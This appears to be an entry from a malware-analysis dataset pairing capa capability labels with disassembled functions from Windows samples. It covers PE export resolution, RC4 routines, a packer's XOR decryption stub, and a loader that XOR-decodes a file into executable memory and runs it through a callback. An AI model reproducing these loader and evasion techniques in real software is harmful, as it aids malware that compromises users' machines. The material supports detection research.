joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d154
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov ecx, dword [0x41804c]
add ecx, 0xffffeadb
mov dword [0x418050], ecx
mov dword [ebp - 0x10], eax
call fcn.0040da2e
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x40d1a2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x41804c], 0x1e82
mov dword [0x418050], 0xfffff9ef
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x40d2b6
jmp 0x40d22b
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov edx, dword [ebp - 0x38]
add edx, 2
mov esi, dword [ebp - 0x2c]
cmp ecx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
jae 0x40d2b6
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edx
jmp 0x40d23f
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
jmp 0x40d20f
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x40d291
mov al, byte [ebp - 0x4d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x4c]
add edx, 1
mov ah, byte [ebp - 0x4e]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x48], edx
jne 0x40d23f
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x40d29d
jmp 0x40d1e7
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40d2c1
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x20
mov dword [ebp - 8], 0
mov dword [0x418050], 0x425
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x418050]
add esi, 0x1910
mov dword [0x418050], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x40d33a
mov eax, dword [ebp - 0x18]
mov dword [0x418050], 0x114c
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
je 0x40d369
xor eax, eax
mov dword [0x41804c], 0xffffeb02
mov dword [ebp - 0x20], eax
jmp 0x40d3dd
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], edx
je 0x40d30a
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
jl 0x40d33a
jmp 0x40d30a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x40d326
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x40d326
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x40d326
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x40d326
mov dword [0x41804c], 0x1a68
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x40d326
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
jne 0x40d326
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop esi
pop ebp
ret
Function at 0x40d828
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x418058], 0
mov byte [0x41805c], 0
mov edi, dword [0x41804c]
add edi, 0xfffffade
mov dword [0x418050], edi
mov dword [0x418054], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x40d89a
xor eax, eax
mov ecx, dword [0x418050]
add ecx, 0xffffeabb
mov dword [0x41804c], ecx
mov dword [0x418054], 0
mov dword [ebp - 0x20], eax
jmp 0x40d8c2
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x418054]
add eax, 1
mov dword [0x418054], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x40d89a
jmp 0x40d877
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x418060], 0
mov edi, dword [0x418058]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x418060], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x418058], edx
mov dword [0x41804c], 0x203
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x41805c], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x41804c], 0x2364
mov cl, byte [0x41805c]
mov esi, dword [0x418058]
mov byte [ebx + esi], cl
mov esi, dword [0x41804c]
add esi, 0x1ab4
mov dword [0x418050], esi
mov esi, dword [0x418054]
add esi, 1
mov dword [0x418054], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x40d8c2
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40db9a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x41804c], 0xa46
mov dword [0x418054], 0
mov dword [0x418058], 0
mov dword [0x418064], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x40dcf8
jmp 0x40dc16
mov eax, dword [0x418054]
mov ecx, dword [0x418058]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv esi
mov dword [0x418054], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x418058], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x41805c], cl
mov dword [0x418050], 0x111a
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x41805c]
mov edx, dword [0x418058]
mov byte [ebx + edx], cl
mov dword [0x41804c], 0x126d
mov edx, dword [0x418054]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x418058]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x41804c], 0xffffebc4
and ecx, 0xff
mov dword [0x418064], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov edx, dword [0x418050]
add edx, 0x4c1
mov dword [0x41804c], edx
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x2c], edi
jne 0x40dbff
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40dd00
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.0040d40b
lea ecx, [0x40cb32]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x60], edx
mov dword [esp + 0x70], 0x13fa00
mov edx, dword [0x418038]
mov dword [esp + 0x58], edx
mov edx, dword [0x41803c]
mov dword [esp + 0x34], edx
mov edx, dword [0x418040]
mov dword [esp + 0x40], edx
mov edx, dword [0x418044]
mov dword [esp + 0x78], edx
mov edx, dword [0x418048]
mov dword [esp + 0x48], edx
mov dword [0x41804c], 0x526
mov dword [0x418050], 0x4cf
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x40dda7
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x40ddbb
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x40dd84
mov eax, dword [esp + 0x10]
mov dword [esp + 0x68], eax
mov dword [0x41804c], 0x23a7
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x6c], edx
call fcn.0040d2c1
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x40de15
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040c9e0
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x402634
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
call esi
cmp eax, 0xffffffff
je 0x402655
push dword [ebp + 8]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
pop esi
jne 0x402682
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402682
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
cmp dword [eax], 0
je 0x402682
push 4
push eax
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 4]
leave
ret 8

Function at 0x402689
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x10]
and dword [ebp - 4], 0
imul edx, edx, 0x9e3779b9
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
je 0x4026fe
mov esi, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, ecx
sub dword [ebp - 4], 0x61c88647
add ebx, eax
lea eax, [ebx + edi]
mov edi, eax
mov ebx, eax
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, dword [ebp - 4]
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, dword [ebp - 4]
xor ebx, eax
add ebx, ecx
cmp dword [ebp - 4], edx
lea ecx, [ebx + edi]
jne 0x4026ac
mov esi, dword [ebp + 0xc]
pop edi
pop ebx
mov dword [esi], eax
mov dword [esi + 4], ecx
pop esi
leave
ret

Function at 0x402706
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
push esi
imul eax, eax, 0x61c88647
mov esi, dword [esp + 0xc]
test eax, eax
mov edx, dword [esi]
mov ecx, dword [esi + 4]
je 0x40276e
mov esi, dword [esp + 8]
push ebx
push edi
mov edi, edx
mov ebx, edx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
sar ebx, 0xb
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, edx
add eax, 0x61c88647
add edi, ebx
sub ecx, edi
mov edi, ecx
mov ebx, ecx
sar edi, 5
shl ebx, 4
xor edi, ebx
mov ebx, eax
and ebx, 3
add edi, dword [esi + ebx*4]
mov ebx, eax
xor ebx, ecx
add edi, ebx
sub edx, edi
test eax, eax
jne 0x402724
mov esi, dword [esp + 0x14]
pop edi
pop ebx
mov dword [esi], edx
mov dword [esi + 4], ecx
pop esi
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x4091a4a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x19ef02d9
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10002f40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10013eb8
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x10003114
cmp byte [ebx + 0x49], 0
je 0x10003114
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x10002f91
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10002fb4
lea eax, [ebp - 0x2c]
push edi
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
push esi
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10002fd3
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x10]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10003016
dec eax
je 0x1000301a
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x100030f2
call fcn.10001840
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x1000302a
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, edx
je 0x10003057
cmp edi, 0x10
jae 0x10003039
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.100058ce
add esp, 0x10
cmp esi, eax
jne 0x100030e7
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x100030ef
test esi, esi
jne 0x10002fc7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000310a
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000310a
cmp edi, esi
jae 0x100030d0
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.100036d0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x10002fc7
mov ecx, eax
cmp edi, 0x10
jae 0x100030ac
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x100030c7
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x10002fc1
test esi, esi
jne 0x100030a2
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x100030df
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x10002fc1
lea ecx, [ebp - 0x2c]
jmp 0x10002ffe
lea ecx, [ebp - 0x2c]
call fcn.10001840
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.1000478f
mov ecx, dword [ebp - 0xc]
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10003490
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013e5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1000489f
push 4
mov dword [ebp - 4], 0
call fcn.10005052
mov edi, eax
add esp, 4
test edi, edi
je 0x10003507
push ebx
call fcn.10004269
mov dword [edi], eax
call fcn.10004028
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10003f5d
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x100034fc
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10003f85
pop ebx
jmp 0x10003509
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10006570
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001b650]
jne 0x1000657a
repz ret
jmp fcn.1000c18c
Function at 0x10012a65
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001b650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000b572
and dword [ebp - 0x14], 0
cmp dword [0x1001d2e0], 0
mov dword [ebp - 0x18], eax
jne 0x10012b18
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10012bc0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10012bc0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001d2e0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001d2e4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001d2e8], eax
call edi
push eax
call esi
mov dword [0x1001d2f0], eax
test eax, eax
je 0x10012b18
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001d2ec], eax
mov eax, dword [0x1001d2ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10012b71
cmp dword [0x1001d2f0], ecx
je 0x10012b71
push eax
call esi
push dword [0x1001d2f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10012b71
test ebx, ebx
je 0x10012b71
call edi
test eax, eax
je 0x10012b68
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10012b68
test byte [ebp - 8], 1
jne 0x10012b71
or dword [ebp + 0x10], 0x200000
jmp 0x10012ba4
mov eax, dword [0x1001d2e4]
cmp eax, dword [ebp - 0x18]
je 0x10012ba4
push eax
call esi
test eax, eax
je 0x10012ba4
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10012ba4
mov eax, dword [0x1001d2e8]
cmp eax, dword [ebp - 0x18]
je 0x10012ba4
push eax
call esi
test eax, eax
je 0x10012ba4
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001d2e0]
call esi
test eax, eax
je 0x10012bc0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10012bc2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006570
leave
ret
Function at 0x100136c0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c4
call fcn.10012660
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0xf67c4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x10013720
xor byte [ebp + eax - 0xf67c4], 0xd7
inc eax
cmp eax, 0xf67c0
jne 0x10013720
push 0x40
push 0x3000
push eax
push 0
call dword [0x1001d304]
mov esi, eax
push 0xf67c0
lea eax, [ebp - 0xf67c4]
push eax
push esi
call fcn.10004c20
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.IMM32.dll_ImmEnumInputContext]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10013cb0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x17
push str.C:ProgramDatajfds.txt
lea ecx, [ebp - 0x1c]
mov dword [ebp - 8], 0xf
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x1c], 0
call fcn.10003300
cmp dword [ebp - 8], 0x10
mov eax, dword [ebp - 0x1c]
jae 0x10013ce3
lea eax, [ebp - 0x1c]
push ebx
push 0x100180f8
push eax
call fcn.100054ca
add esp, 8
test eax, eax
je 0x10013d03
push eax
call fcn.1000554e
add esp, 4
mov bl, 1
jmp 0x10013d05
xor bl, bl
cmp dword [ebp - 8], 0x10
jb 0x10013d17
mov eax, dword [ebp - 0x1c]
push eax
call fcn.10004c06
add esp, 4
test bl, bl
pop ebx
je 0x10013d38
push str.C:Program_Files__x86_BBAkjkl.xml
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:Program_Files__x86_BBAlbv.dat
call fcn.100136c0
add esp, 4
mov esp, ebp
pop ebp
ret
call fcn.10013a90
push str.C:Program_Files__x86_BBAkjkl.xml
call fcn.100136c0
push str.C:Program_Files__x86_BBAlbv.dat
call fcn.100136c0
add esp, 8
mov esp, ebp
pop ebp
ret